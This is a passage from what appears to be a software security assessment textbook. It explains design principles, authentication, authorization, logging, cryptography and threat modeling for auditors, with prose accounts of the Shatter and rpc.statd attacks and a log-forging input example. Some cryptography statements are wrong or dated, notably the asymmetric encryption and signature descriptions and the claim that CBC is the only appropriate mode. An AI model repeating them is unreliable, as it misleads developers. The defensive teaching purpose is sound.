Defense in Depth Defense in depth is the concept of layering protections so that the compromise of one aspect of a system is mitigated by other controls. Simple examples of defense in depth include using low privileged accounts to run services and daemons, and isolating different functions to different pieces of hardware. More complex examples include network demilitarized zones (DMZs), chroot jails, and stack and heap guards. Layered defenses should be taken into consideration when you're prioritizing components for review. You would probably assign a lower priority to an intranet-facing component running on a low privileged account, inside a chroot jail, and compiled with buffer protection. In contrast, you would most likely assign a higher priority to an Internet-facing component that must run as root. This is not to say that the first component is safe and the second isn't. You just need to look at the evidence and prioritize your efforts so that they have the most impact. Prioritizing threats is discussed in more detail in "Threat Modeling" later on in this chapter. Principles of Software Design The number of software development methodologies seems to grow directly in proportion to the number of software developers. Different methodologies suit different needs, and the choice for a project varies based on a range of factors. Fortunately, every methodology shares certain commonly accepted principles. The four core principles of accuracy, clarity, loose coupling, and strong cohesion (discussed in the following sections) apply to every software design and are a good starting point for any discussion of how design can affect security. Accuracy Accuracy refers to how effectively design abstractions meet the associated requirements. (Remember the discussion on requirements in Chapter 1(? [????.]).) Accuracy includes both how correctly abstractions model the requirements and how reasonably they can be translated into an implementation. The goal is, of course, to provide the most accurate model with the most direct implementation possible. In practice, a software design might not result in an accurate translation into an implementation. Oversights in the requirements-gathering phase could result in a design that misses important capabilities or emphasizes the wrong concerns. Failures The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 45 in the design process might result in an implementation that must diverge drastically from the design to meet real-world requirements. Even without failures in the process, expectations and requirements often change during the implementation phase. All these problems tend to result in an implementation that can diverge from the intended (and documented) design. Discrepancies between a software design and its implementation result in weaknesses in the design abstraction. These weaknesses are fertile ground for a range of bugs to creep in, including security vulnerabilities. They force developers to make assumptions outside the intended design, and a failure to communicate these assumptions often creates vulnerability-prone situations. Watch for areas where the design isn't adequately defined or places unreasonable expectations on programmers. Clarity Software designs can model extremely complex and often confusing processes. To achieve the goal of clarity, a good design should decompose the problem in a reasonable manner and provide clean, self-evident abstractions. Documentation of the structure should also be readily available and well understood by all developers involved in the implementation process. An unnecessarily complex or poorly documented design can result in vulnerabilities similar to those of an inaccurate design. In this case, weaknesses in the abstraction occur because the design is simply too poorly understood for an accurate implementation. Your review should identify design components that are inadequately documented or exceptionally complex. You see examples of this problem throughout the book, especially when variable relationships are tackled in Chapter 7(? [????.]), "Program Building Blocks." Loose Coupling Coupling refers to the level of communication between modules and the degree to which they expose their internal interfaces to each other. Loosely coupled modules exchange data through well-defined public interfaces, which generally leads to more adaptable and maintainable designs. In contrast, strongly coupled modules have complex interdependencies and expose important elements of their internal interfaces. Strongly coupled modules generally place a high degree of trust in each other and rarely perform data validation for their communication. The absence of well-defined interfaces in these communications also makes data validation difficult and error prone. This tends to lead to security flaws when one of the components is malleable to an attacker's control. From a security perspective, you want to look out for any strong intermodule coupling across trust boundaries. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 46 Strong Cohesion Cohesion refers to a module's internal consistency. This consistency is primarily the degree to which a module's interfaces handle a related set of activities. Strong cohesion encourages the module to handle only closely related activities. A side effect of maintaining strong cohesion is that it tends to encourage strong intramodule coupling (the degree of coupling between different components of a single module). Cohesion-related security vulnerabilities can occur when a design fails to decompose modules along trust boundaries. The resulting vulnerabilities are similar to strong coupling issues, except that they occur within the same module. This is often a result of systems that fail to incorporate security in the early stages of their design. Pay special attention to designs that address multiple trust domains within a single module. Fundamental Design Flaws Now that you have a foundational understanding, you can consider a few examples of how fundamental design concepts affect security. In particular, you need to see how misapplying these concepts can create security vulnerabilities. When reading the following examples, you'll notice quickly that they tend to result from a combination of issues. Often, an error is open to interpretation and might depend heavily on the reviewer's perspective. Unfortunately, this is part of the nature of design flaws. They usually affect the system at a conceptual level and can be difficult to categorize. Instead, you need to concentrate on the issue's security impact, not get caught up in the categorization. Exploiting Strong Coupling This section explores a fundamental design flaw resulting from a failure to decompose an application properly along trust boundaries. The general issue is known as the Shatter class of vulnerabilities, originally reported as part of independent research conducted by Chris Paget. The specific avenue of attack takes advantage of certain properties of the Windows GUI application programming interface (API). The following discussion avoids many details in order to highlight the design specific nature of Shatter vulnerabilities. Chapter 12(? [????.]), "Windows II: Interprocess Communication," provides a much more thorough discussion of the technical details associated with this class of vulnerabilities. Windows programs use a messaging system to handle all GUI-related events; each desktop has a single message queue for all applications associated with it. So any two processes running on the same desktop can send messages to each other, regardless of the user context of the processes. This can cause an issue when a higher privileged process, such as a service, is running on a normal user's desktop. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 47 The Windows API provides the SetTimer() function to schedule sending a WM_TIMER message. This message can include a function pointer that is invoked when the default message handler receives the WM_TIMER message. This creates a situation in which a process can control a function call in any other process that shares its desktop. An attacker's only remaining concern is how to supply code for execution in the target process. The Windows API includes a number of messages for manipulating the content of window elements. Normally, they are used for setting the content of text boxes and labels, manipulating the Clipboard's content, and so forth. However, an attacker can use these messages to insert data into the address space of a target process. By combining this type of message with the WM_TIMER message, an attacker can build and run arbitrary code in any process on the same desktop. The result is a privilege escalation vulnerability that can be used against services running on the interactive desktop. After this vulnerability was published, Microsoft changed the way the WM_TIMER message is handled. The core issue, however, is that communication across a desktop must be considered a potential attack vector. This makes more sense when you consider that the original messaging design was heavily influenced by the concerns of single-user OS. In that context, the design was accurate, understandable, and strongly cohesive. This vulnerability demonstrates why it's difficult to add security to an existing design. The initial Windows messaging design was sound for its environment, but introducing a multiuser OS changed the landscape. The messaging queue now strongly couples different trust domains on the same desktop. The result is new types of vulnerabilities in which the desktop can be exploited as a public interface. Exploiting Transitive Trusts A fascinating Solaris security issue highlights how attackers can manipulate a trusted relationship between two components. Certain versions of Solaris included an RPC program, automountd, that ran as root. This program allowed the root user to specify a command to run as part of a mounting operation and was typically used to handle mounting and unmounting on behalf of the kernel. The automountd program wasn't listening on an IP network and was available only through three protected loopback transports. This meant the program would accept commands only from the root user, which seems like a fairly secure choice of interface. Another program, rpc.statd, runs as root and listens on Transmission Control Protocol (TCP) and User Datagram Protocol (UDP) interfaces. It's used as part of the Network File System (NFS) protocol support, and its purpose is to monitor NFS servers and send out a notification in case they go down. Normally, the NFS lock daemon asks rpc.statd to monitor servers. However, registering with rpc.statd The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 48 requires the client to tell it which host to contact and what RPC program number to call on that host. So an attacker can talk to a machine's rpc.statd and register the automountd program for receipt of crash notifications. Then the attacker tells rpc.statd that the monitored NFS server has crashed. In response, rpc.statd contacts the automountd daemon on the local machine (through the special loopback interface) and gives it an RPC message. This message doesn't match up to what automountd is expecting, but with some manipulation, you can get it to decode into a valid automountd request. The request comes from root via the loopback transport, so automountd thinks it's from the kernel module. The result is that it carries out a command of the attacker's choice. In this case, the attack against a public interface to rpc.statd was useful only in establishing trusted communication with automountd. It occurred because an implicit trust is shared between all processes running under the same account. Exploiting this trust allowed remote attackers to issue commands to the automountd process. Finally, assumptions about the source of communication caused developers to be lenient in the format automountd accepts. These issues, combined with the shared trust between these modules, resulted in a remote root-level vulnerability. Failure Handling Proper failure handling is an essential component of clear and accurate usability in a software design. You simply expect an application to handle irregular conditions properly and provide users with assistance in solving problems. However, failure conditions can create situations in which usability and security appear to be in opposition. Occasionally, compromises must be made in an application's functionality so that security can be enforced. Consider a networked program that detects a fault or failure condition in data it receives from a client system. Accurate and clear usability dictates that the application attempt to recover and continue processing. When recovery isn't possible, the application should assist users in diagnosing the problem by supplying detailed information about the error. However, a security-oriented program generally takes an entirely different approach, which might involve terminating the client session and providing the minimum amount of feedback necessary. This approach is taken because a program designed around an ideal of security assumes that failure conditions are the result of attackers manipulating the program's input or environment. From that perspective, the attempt to work around the problem and continue processing often plays right into an attacker's hands. The pragmatic defensive reaction is to drop what's going on, scream bloody murder in the logs, and abort processing. Although this reaction might seem to violate some design principles, it's simply a situation in which the accuracy of security requirements supersedes the accuracy and clarity of usability requirements. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 49 6.2.3 Enforcing Security Policy Chapter 1(? [????.]) discussed security expectations and how they affect a system. Now you can take those concepts and develop a more detailed understanding of how security expectations are enforced in a security policy. Developers implement a security policy primarily by identifying and enforcing trust boundaries. As an auditor, you need to analyze the design of these boundaries and the code implementing their enforcement. In order to more easily address the elements of the security policy, enforcement is broken up into six main types discussed in the following sections. Authentication Authentication is the process by which a program determines who a user claims to be and then checks the validity of that claim. A software component uses authentication to establish the identity of a peer (client or server) when initiating communication. A classic example is requiring the user of a Web site to enter a username and password. Authentication isn't just for human peers, either, as you can see in the previous discussion of SSL certificates. In that example, the systems authenticated with each other to function safely over an untrustworthy interface. Common Vulnerabilities of Authentication One notable design oversight is to not require authentication in a situation that warrants it. For example, a Web application presents a summary of sensitive corporate accounting information that could be useful for insider trading. Exposing that information to arbitrary Internet users without asking for some sort of authentication would be a design flaw. Note that "lack of authentication" issues aren't always obvious, especially when you're dealing with peer modules in a large application. Often it's difficult to determine that an attacker can get access to a presumably internal interface between two components. Typically, the best practice is to centralize authentication in the design, especially in Web applications. Some Web applications require authentication for users who come in through a main page but don't enforce authentication in follow-on pages. This lack of authentication means you could interact with the application without ever having to enter a username or password. In contrast, centralized authentication mitigates this issue by validating every Web request within the protected domain. Untrustworthy Credentials Another common mistake happens when some authentication information is presented to the software, but the information isn't trustworthy. This problem often happens when authentication is performed on the client side, and an attacker can completely control the client side of the connection. For example, the SunRPC framework includes the AUTH_UNIX authentication scheme, which basically amounts to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 50 fully trusting the client system. The client simply passes along a record that tells the server what the user and group IDs are, and the server just accepts them as fact. UNIX systems used to include a RPC daemon called rexd (remote execute daemon). The purpose of this program was to let a remote user run a program on the system as a local user. If you were to connect to the rexd system and tell the rexd program to run the /bin/sh command as the user bin, the program would run a shell as bin and let you interact with it. That's about all there was to it, with the exception that you couldn't run programs as the root user. Typically, getting around this restriction takes only a few minutes after you have a shell running as bin. More recently, a remote root flaw was exposed in the default installation of sadmind on Solaris; it treated the AUTH_UNIX authentication as sufficient validation for running commands on behalf of the client. Note The bug in sadmind is documented at www.securityfocus.com/bid/2354/info. Many network daemons use the source IP address of a network connection or packet to establish a peer's identity. By itself, this information isn't a sufficient credential and is susceptible to tampering. UDP can be trivially spoofed, and TCP connections can be spoofed or intercepted in various situations. UNIX provides multiple daemons that honor the concept of trusted hosts based on source address. These daemons are rshd and rlogind, and even sshd can be configured to honor these trust relationships. By initiating, spoofing, or hijacking a TCP connection from a trusted machine on a privileged port, an attacker can exploit the trust relationship between two machines. Insufficient Validation An authentication system can be close to sufficient for its environment but still contain a fundamental design flaw that leaves it exposed. This problem isn't likely to happen with the typical authentication design of requiring username/password/mom's maiden name, as it's easy to think through the consequences of design decisions in this type of system. You're more likely to see this kind of design flaw in programmatic authentication between two systems. If a program makes use of existing authentication mechanisms, such as certificates, design-level problems can arise. First, many distributed client/server applications authenticate in only one direction: by authenticating only the client or only the server. An attacker can often leverage this authentication scheme to masquerade as the unauthenticated peer and perform subtle attacks on the system. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 51 Homemade authentication with cryptographic primitives is another issue you might encounter. From a conceptual standpoint, making your own authentication seems simple. If you have a shared secret, you give the peer a challenge. The peer then sends back a value that could be derived only from a combination of the challenge and shared secret. If you're using public and private keys, you send a challenge to a peer, encrypting it with the peer's public key, and anticipate a response that proves the peer was able to decrypt it. However, there's plenty of room for error when creating authentication protocols from scratch. Thomas Lopatic found an amusing vulnerability in the FWN/1 protocol of Firewall-1. Each peer sends a random number R1 and a hash of that random number with a shared key, Hash(R1+K). The receiving peer can look at the random number that was sent, calculate the hash, and compare it with the transmitted value. The problem is that you can simply replay the R1 and Hash(R1+K) values to the server because they're made using the same shared symmetric key. Authorization Authorization is the process of determining whether a user on the system is permitted to perform a specific operation within a trust domain. It works in concert with authentication as part of an access control policy: Authentication establishes who a user is, and authorization determines what that user is permitted to do. There are many formal designs for access control systems, including discretionary access control, mandatory access control, and role-based access control. In addition, several technologies are available for centralizing access control into various frameworks, operating systems, and libraries. Because of the complexity of different access control schemes, it's best to begin by looking at authorization from a general perspective. Common Vulnerabilities of Authorization Web applications are notorious for missing or insufficient authorization. Often, you find that only a small fraction of a Web site's functionality does proper authorization checks. In these sites, pages with authorization logic are typically main menu pages and major subpages, but the actual handler pages omit authorization checks. Frequently, it's possible to find a way to log in as a relatively low-privileged user, and then be able to access information and perform actions that don't belong to your account or are intended for higher-privileged users. Authorities That Aren't Secure Omitting authorization checks is obviously a problem. You can also run into situations in which the logic for authorization checks is inconsistent or leaves room for abuse. For example, say you have a simple expense-tracking system, and each user in the company has an account. The system is preprogrammed with the corporate tree so The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 52 that it knows which employees are managers and who they manage. The main logic is data driven and looks something like this: Enter New Expense for each employee you manage View/Approve Expenses This system is fairly simple. Assuming that the initial corporate tree is populated correctly, managers can review and approve expenses of their subordinates. Normal employees see only the Enter New Expense menu entry because they aren't in the system as managing other employees. Now say that you constantly run into situations in which employees are officially managed by one person, but actually report to another manager for day-to-day issues. To address this problem, you make it possible for each user to designate another user as his or her "virtual" manager. A user's virtual manager is given view and approve rights to that user's expenses, just like the user's official manager. This solution might seem fine at first glance, but it's flawed. It creates a situation in which employees can assign any fellow employee as their virtual manager, including themselves. The resulting virtual manager could then approve expenses without any further restrictions. This simple system with an obvious problem might seem contrived, but it's derived from problems encountered in real-world applications. As the number of users and groups in an application grows and the complexity of the system grows, it becomes easy for designers to overlook the possibility of potential abuse in the authorization logic. Accountability Accountability refers to the expectation that a system can identify and log activities that users of the system perform. Nonrepudiation is a related term that's actually a subset of accountability. It refers to the guarantee that a system logs certain user actions so that users can't later deny having performed them. Accountability, along with authorization and authentication, establishes a complete access control policy. Unlike authentication and authorization, accountability doesn't specifically enforce a trust boundary or prevent a compromise from occurring. Instead, accountability provides data that can be essential in mitigating a successful compromise and performing forensic analysis. Unfortunately, accountability is one of the most overlooked portions of secure application design. Common Vulnerabilities of Accountability The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 53 The most common accountability vulnerability is a system's failure to log operations on sensitive data. In fact, many applications provide no logging capability whatsoever. Of course, many applications don't handle sensitive data that requires logging. However, administrators or end usersnot developersshould determine whether logging is required. The next major concern for accountability is a system that doesn't adequately protect its log data. Of course, this concern might also be an authorization, confidentiality, or integrity issue. Regardless, any system maintaining a log needs to ensure the security of that log. For example, the following represents a simple text-based log, with each line including a timestamp followed by a log entry: 20051018133106 Logon Failure: Bob 20051018133720 Logon Success: Jim 20051018135041 Logout: Jim What would happen if you included user-malleable strings in the log entry? What's to prevent a user from intentionally sending input that looks like a log entry? For instance, say a user supplied "Bob\n20051018133106 Logon Success: Greg" as a logon name. It looks like a harmless prank, but it could be used for malicious activity. Attackers could use fake entries to cover malicious activity or incriminate an innocent user. They might also be able to corrupt the log to the point that it becomes unreadable or unwriteable. This corruption could create a denial-of-service condition or open pathways to other vulnerabilities. It might even provide exploitable pathways in the logging system itself. Manipulating this log isn't the only problem. What happens when attackers can read it? At the very least, they would know at what times every user logged in and logged out. From this data, they could deduce login patterns or spot which users have a habit of forgetting their passwords. This information might seem harmless, but it can be useful in staging a larger attack. Therefore, unauthorized users shouldn't be able to read or modify the contents of a system log. Confidentiality Chapter 1(? [????.]) described confidentiality as the expectation that only authorized parties can view data. This requirement is typically addressed through access control mechanisms, which are covered by authentication and authorization. However, additional measures must be taken when communication is performed over a channel that's not secure. In these cases, encryption is often used to enforce confidentiality requirements. Encryption is the process of encoding information so that it can't be read by a third party without special knowledge, which includes the encryption process and usually The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 54 some form of key data. Key data is a piece of data known only to the parties who are authorized to access the information. The topic of validating cryptographic algorithms and processes is not covered in this book because the mathematics involved are extremely complex and encompass an entire field of study. However, the knowledge you need to identify certain vulnerabilities in implementing and applying cryptography is covered throughout this book, including memory management issues in cryptographic message handling and how to validate specification requirements against an implementation. Your biggest concern from a design perspective is in determining if a particular cryptographic protocol is applied correctly. The protocol must be strong enough for the data it's protecting and must be used in a secure manner. If you're interested in more information on the appropriate use of cryptography, you can read Practical Cryptography (Wiley, 2003(? [????.])) by Bruce Schneier and Niels Ferguson. If your interest lies in algorithms and implementation, consider Bruce Schneier's other book, Applied Cryptography (Wiley, 1996). Encryption Algorithms Encryption has a long history, dating all the way back to ancient cultures. However, because you're concerned with modern cryptographic protocols that can be used to protect data communications effectively, this chapter focuses on two major classes of encryption: symmetric and asymmetric. Symmetric encryption (or shared key encryption) refers to algorithms in which all authorized parties share the same key. Symmetric algorithms are generally the simplest and most efficient encryption algorithms. Their major weakness is that they require multiple parties to have access to the same shared secret. The alternative is to generate and exchange a unique key for each communication relationship, but this solution quickly results in an untenable key management situation. Further, asymmetric encryption has no means for verifying the sender of a message among any group of shared key users. Asymmetric encryption (or public key encryption) refers to algorithms in which each party has a different set of keys for accessing the same encrypted data. This is done by using a public and private key pair for each party. Any parties wanting to communicate must exchange their public keys in advance. The message is then encrypted by combining the recipient's public key and the sender's private key. The resulting encrypted message can be decrypted only by using the recipient's private key. In this manner, asymmetric encryption simplifies key management, doesn't require exposing private keys, and implicitly verifies the sender of a message. However, these algorithms are more complex and tend to be computationally intensive. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 55 Therefore, asymmetric algorithms are typically used to exchange a symmetric key that's then used for the duration of a communication session. Block Ciphers Block ciphers are symmetric encryption algorithms that work on fixed-size blocks of data and operate in a number of modes. You should be aware of some considerations for their use, however. One consideration is whether the block cipher encrypts each block independently or uses output from the previous block in encrypting the current block. Ciphers that encrypt blocks independently are far more vulnerable to cryptanalytic attacks and should be avoided whenever possible. Therefore, a cipher block chaining (CBC) mode cipher is the only appropriate fixed-block cipher in general use. It performs an XOR operation with the previous block of data, resulting in negligible performance overhead and much higher security than modes that handle blocks independently. Stream Ciphers One of the most inconvenient aspects of block ciphers is that they must handle fixed-size chunks of data. Any data chunks larger than the block size must be fragmented, and anything smaller must be padded. This requirement can add complexity and overhead to code that handles something like a standard TCP socket. Fortunately, block ciphers can run in modes that allow them to operate on arbitrarily sized chunks of data. In this mode, the block cipher performs as a stream cipher. The counter (CTR) mode cipher is the best choice for a stream cipher. Its performance characteristics are comparable to CBC mode, but it doesn't require padding or fragmentation. Initialization Vectors An initialization vector (IV) is a "dummy" block of data used to start a block cipher. An IV is necessary to force the cipher to produce a unique stream of output, regardless of identical input. The IV doesn't need to be kept private, although it must be different for every new cipher initialization with the same key. Reusing an IV causes information leakage with a CBC cipher in only a limited number of scenarios; however, it severely degrades the security of other block ciphers. As a general rule, IV reuse should be considered a security vulnerability. Key Exchange Algorithms Key exchange protocols can get complicated, so this section just provides some simple points to keep in mind. First, the implementation should use a standard key exchange protocol, such as RSA, Diffie-Hellman, or El Gamal. These algorithms have been extensively validated and provide the best degree of assurance. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 56 The next concern is that the key exchange is performed in a secure manner, which means both sides of the communication must provide some means of identification to prevent man-in-the-middle attacks. All the key exchange algorithms mentioned previously provide associated signature algorithms that can be used to validate both sides of the connection. These algorithms require that both parties have already exchanged public keys or that they are available through some trusted source, such as a Public Key Infrastructure (PKI) server. Common Vulnerabilities of Encryption Now that you have some background on the proper use of encryption, it's important to understand what can go wrong. Homemade encryption is one of the primary causes of confidentiality-related vulnerabilities. Encryption is extremely complicated and requires extensive knowledge and testing to design and implement properly. Therefore, most developers should restrict themselves to known algorithms, protocols, and implementations that have undergone extensive review and testing. Storing Sensitive Data Unnecessarily Often a design maintains sensitive data without any real cause, typically because of a misunderstanding of the system requirements. For instance, validating a password doesn't require storing the password in a retrievable form. You can safely store a hash of the password and use it for comparison. If it's done correctly, this method prevents the real password from being exposed. (Don't worry if you aren't familiar with hashes; they are introduced in "Hash Functions" later in this chapter.) Clear-text passwords are one of the most typical cases of storing data unnecessarily, but they are far from the only example of this problem. Some application designs fail to classify sensitive information properly or just store it for no understandable reason. The real issue is that any design needs to classify the sensitivity of its data correctly and store sensitive data only when absolutely required. Lack of Necessary Encryption Generally, a system doesn't provide adequate confidentiality if it's designed to transfer clear-text information across publicly accessible storage, networks, or unprotected shared memory segments. For example, using TELNET to exchange sensitive information would almost certainly be a confidentiality-related design vulnerability because TELNET does not encrypt its communication channel. In general, any communication with the possibility of containing sensitive information should be encrypted when it travels over potentially compromised or public networks. When appropriate, sensitive information should be encrypted as it's stored in a database or on disk. Encryption requires a key management solution of some sort, which can often be tied to a user-supplied secret, such as a password. In some The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 57 situations, especially when storing passwords, hashed values of sensitive data can be stored in place of the actual sensitive data. Insufficient or Obsolete Encryption It's certainly possible to use encryption that by design isn't strong enough to provide the required level of data security. For example, 56-bit single Digital Encryption Standard (DES) encryption is probably a bad choice in the current era of inexpensive multigigahertz computers. Keep in mind that attackers can record encrypted data, and if the data is valuable enough, they can wait it out while computing power advances. Eventually, they will be able to pick up a 128 q-bit quantum computer at Radio Shack, and your data will be theirs (assuming that scientists cure the aging problem by 2030, and everyone lives forever). Jokes aside, it's important to remember that encryption implementations do age over time. Computers get faster, and mathematicians find devious new holes in algorithms just as code auditors do in software. Always take note of algorithms and key sizes that are inadequate for the data they protect. Of course, this concern is a moving target, so the best you can do is keep abreast of the current recommended standards. Organizations such as the National Institute for Standards and Technology (NIST; www.nist.gov) do a good job of publishing generally accepted criteria for algorithms and key sizes. Data Obfuscation Versus Data Encryption Some applicationsand even industry-wide security standardsdon't seem to differentiate between data obfuscation and data encryption. Put simply, data is obfuscated when attackers have access to all the information they need to recover encoded sensitive data. This situation typically occurs when the method of encoding data doesn't incorporate a unique key, or the key is stored in the same trust domain as the data. Two common examples of encoding methods that don't incorporate a unique key are ROT13 text encoding and simple XOR mechanisms. The problem of keys stored in the same context as data is a bit more confusing but not necessarily less common. For example, many payment-processing applications store sensitive account holder information encrypted in their databases, but all the processing applications need the keys. This requirement means that stealing the backup media might not give attackers the account data, but compromising any payment server can get them the key along with the encrypted data. Of course, you could add another key to protect the first key, but all the processing applications would still require access. You could layer as many keys as you like, but in the end, it's just an obfuscation technique because each processing application needs to decrypt the sensitive data. Note The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 58 The PCI (Payment Card Industry) 1.0 Data Security Requirement is part of an industry-wide standard to help ensure safe handling of payment card data and transactions. These requirements are a forward-thinking move for the industry, and many of them are consistent with best security practices. However, the standard contains requirements that create exactly the confidentiality issue described in this chapter. In particular, the requirements allow storing encrypted data and the key in the same context, as long as the key is encrypted by another key residing in the same context. One final point is that security by obscurity (or obfuscation) has earned a bad reputation in the past several years. On its own, it's an insufficient technique for protecting data from attackers; it simply doesn't provide a strong enough level of confidentiality. However, in practice, obfuscation can be a valuable component of any security policy because it deters casual snoopers and can often slow down dedicated attackers. Integrity Chapter 1(? [????.]) defined integrity as the expectation that only authorized parties are able to modify data. This requirement, like confidentiality, is typically addressed through access control mechanisms. However, additional measures must be taken when communication is performed over a channel that's not secure. In these cases, certain cryptographic methods, discussed in the following sections, are used to ensure data integrity. Hash Functions Cryptographic data integrity is enforced through a variety of methods, although hash functions are the basis of most approaches. A hash function (or "message digest function") accepts a variable-length input and generates a fixed-size output. The effectiveness of a hash function is measured primarily by three requirements. The first is that it must not be reversible, meaning that determining the input based only on the output should be computationally infeasible. This requirement is known as the "no pre-image" requirement. The second requirement is that the function not have a second pre-image, which means that given the input and the output, generating an input with the same output is computationally infeasible. The final requirement, and the strongest, is that a hash must be relatively collision free, meaning that intentionally generating the same output for differing inputs should be computationally infeasible. Hash functions provide the foundation of most programmatic integrity protection. They can be used to associate an arbitrary set of data with a unique, fixed-size value. This association can be used to avoid retaining sensitive data and to vastly reduce the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 59 storage required to validate a piece of data. The simplest forms of hash functions are cyclic redundancy check (CRC) routines. They are fast and efficient and offer a moderate degree of protection against unintentional data modification. However, CRC functions aren't effective against intentional modification, which makes them unusable for security purposes. Some popular CRC functions include CRC-16, CRC-32, and Adler-32. The next step up from CRC functions are cryptographic hash functions. They are far more computationally intensive, but they offer a high degree of protection against intentional and unintentional modification. Popular hash functions include SHA-1, SHA-256, and MD5. (Issues with MD5 are discussed in more detail in "Bait-and-Switch Attacks" later in this chapter.) Salt Values Salt values are much the same as initialization vectors. The "salt" is a random value added to a message so that two messages don't generate the same hash value. As with an IV, a salt value must not be duplicated between messages. A salt value must be stored in addition to the hash so that the digest can be reconstructed correctly for comparison. However, unlike an IV, a salt value should be protected in most circumstances. Salt values are most commonly used to prevent precomputation-based attacks against message digests. Most password storage methods use a salted hash value to protect against this problem. In a precomputation attack, attackers build a dictionary of all possible digest values so that they can determine the original data value. This method works only for fairly small ranges of input values, such as passwords; however, it can be extremely effective. Consider a salt value of 32 random bits applied to an arbitrary password. This salt value increases the size of a password precomputation dictionary by four billion times its original value (232). The resulting precomputation dictionary would likely be too large for even a small subset of passwords. Rainbow tables, developed by Philippe Oechslin, are a real-world example of how a lack of a salt value leaves password hashes vulnerable to pre-computation attacks. Rainbow tables can be used to crack most password hashes in seconds, but the technique works only if the hash does not include a salt value. You can find more information on rainbow tables at the Project RainbowCrack website: http://www.antsight.com/zsl/rainbowcrack/. Originator Validation Hash functions provide a method of validating message content, but they can't validate the message source. Validating the source of a message requires incorporating some form of private key into the hash operation; this type of function is known as a hash-based message authentication code (HMAC) function. A The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 60 MAC is a function that returns a fixed-length value computed from a key and variable-length message. An HMAC is a relatively fast method of validating a message's content and sender by using a shared secret. Unfortunately, an HMAC has the same weakness as any shared key system: An attacker can impersonate any party in a conversation by compromising only one party's key. Cryptographic Signatures A cryptographic signature is a method of associating a message digest with a specific public key by encrypting the message digest with the sender's public and private key. Any recipient can then decrypt the message digest by using the sender's public key and compare the resulting value against the computed message digest. This comparison proves that the originator of the message must have had access to the private key. Common Vulnerabilities of Integrity Integrity vulnerabilities are similar to confidentiality vulnerabilities. Most integrity vulnerabilities can, in fact, be prevented by addressing confidentiality concerns. However, some integrity-related design vulnerabilities, discussed in the following sections, merit special consideration. Bait-and-Switch Attacks Commonly used hashing functions must undergo a lot of public scrutiny. However, over time, weaknesses tend to appear that could result in exploitable vulnerabilities. The bait-and-switch attack is typically one of the first weaknesses found in an aging hash function. This attack takes advantage of a weak hash function's tendency to generate collisions over certain ranges of input. By doing this, an attacker can create two inputs that generate the same value. For example, say you have a banking application that accepts requests to transfer funds. The application receives the request, and if the funds are available, it signs the transfer and passes it on. If the hashing function is vulnerable, attackers could generate two fund transfers that produce the same digest. The first request would have a small value, and the second would be much larger. Attackers could then open an account with a minimum balance and get the smaller transfer approved. Then they would submit the larger request to the next system and close out their accounts before anyone was the wiser. Bait-and-switch attacks have been a popular topic lately because SHA-1 and MD5 are starting to show some wear. The potential for collision vulnerabilities in MD5 was identified as early as 1996, but it wasn't until August 2004 that Xiaoyun Wang, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 61 Dengguo Feng, Xuejia Lai, and Hongbo Yu published a paper describing successful collisions with the MD5 algorithm. This paper was followed up in March 2005 by Arjen Lenstra, Xiaoyun Wang, and Benne de Weger. They successfully generated a colliding pair of X.509 certificates with different public keys, which is the certificate format used in SSL transactions. More recently, Vlastimil Klima published an algorithm in March 2006 that's capable of finding MD5 collisions in an extremely short time. The SHA family of algorithms is also under close scrutiny. A number of potential attacks against SHA-0 have been identified; however, SHA-0 was quickly superseded by SHA-1 and never saw significant deployment. The SHA-0 attack research has provided the foundation for identifying vulnerabilities in the SHA-1 algorithm, although at the time of this writing, no party has successfully generated a SHA-1 collision. However, these issues have caused several major standards bodies (such as the U.S.-based NIST) to initiate phasing out SHA-1 in favor of SHA-256 (also known as SHA-2). Of course, finding random collisions is much harder than finding collisions that are viable for a bait-and-switch attack. However, by their nature, cryptographic algorithms should be chosen with the intention that their security will be viable far beyond the applicable system's life span. This reasoning explains the shift in recent years from hashing algorithms that had previously been accepted as relatively secure. The impact of this shift can even be seen in password-hashing applications, which aren't directly susceptible to collision-based attacks, but are also being upgraded to stronger hash functions. Availability Chapter 1(? [????.]) defined availability as the capability to use a resource when expected. This expectation of availability is most often associated with reliability, and not security. However, there are a range of situations in which the availability of a system should be viewed as a security requirement. Common Vulnerabilities of Availability There is only one type of general vulnerability associated with a failure of availabilitythe denial-of-service (DoS) vulnerability. A DoS vulnerability occurs when an attacker can make a system unavailable by performing some unanticipated action. The impact of a DoS attack can be very dependant on the situation in which it occurs. A critical system may include an expectation of constant availability, and outages would represent an unacceptable business risk. This is often the case with core business systems such as centralized authentication systems or flagship websites. In both of these cases, a successful DoS attack could correspond directly to a significant loss of revenue due to the business's inability to function properly without the system. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 62 A lack of availability also represents a security risk when an outage forces requirements to be addressed in a less secure manner. For example, consider a point-of-sale (PoS) system that processes all credit card transactions via a central reconciliation server. When the reconciliation server is unavailable, the PoS system must spool all of the transactions locally and perform them at a later time. An attacker may have a variety of reasons for inducing a DoS between a PoS system and the reconciliation server. The DoS condition may allow an attacker to make purchases with stolen or invalid credit cards, or it may expose spooled cardholder information on a less secure PoS system. 6.2.4 Threat Modeling By now, you should have a good idea of how design affects the security of a software system. A system has defined functionality that's provided to its users but is bound by the security policy and trust model. The next step is to turn your attention to developing a process for applying this knowledge to an application you've been tasked to review. Ideally, you need to be able to identify flaws in the design of a system and prioritize the implementation review based on the most security-critical modules. Fortunately, a formalized methodology called threat modeling exists for just this purpose. In this chapter, you use a specific type of threat modeling that consists of a five-phase process:  Information collection  Application architecture modeling  Threat identification  Documentation of findings  Prioritizing the implementation review This process is most effectively applied during the design (or a refactoring) phase of development and is updated as 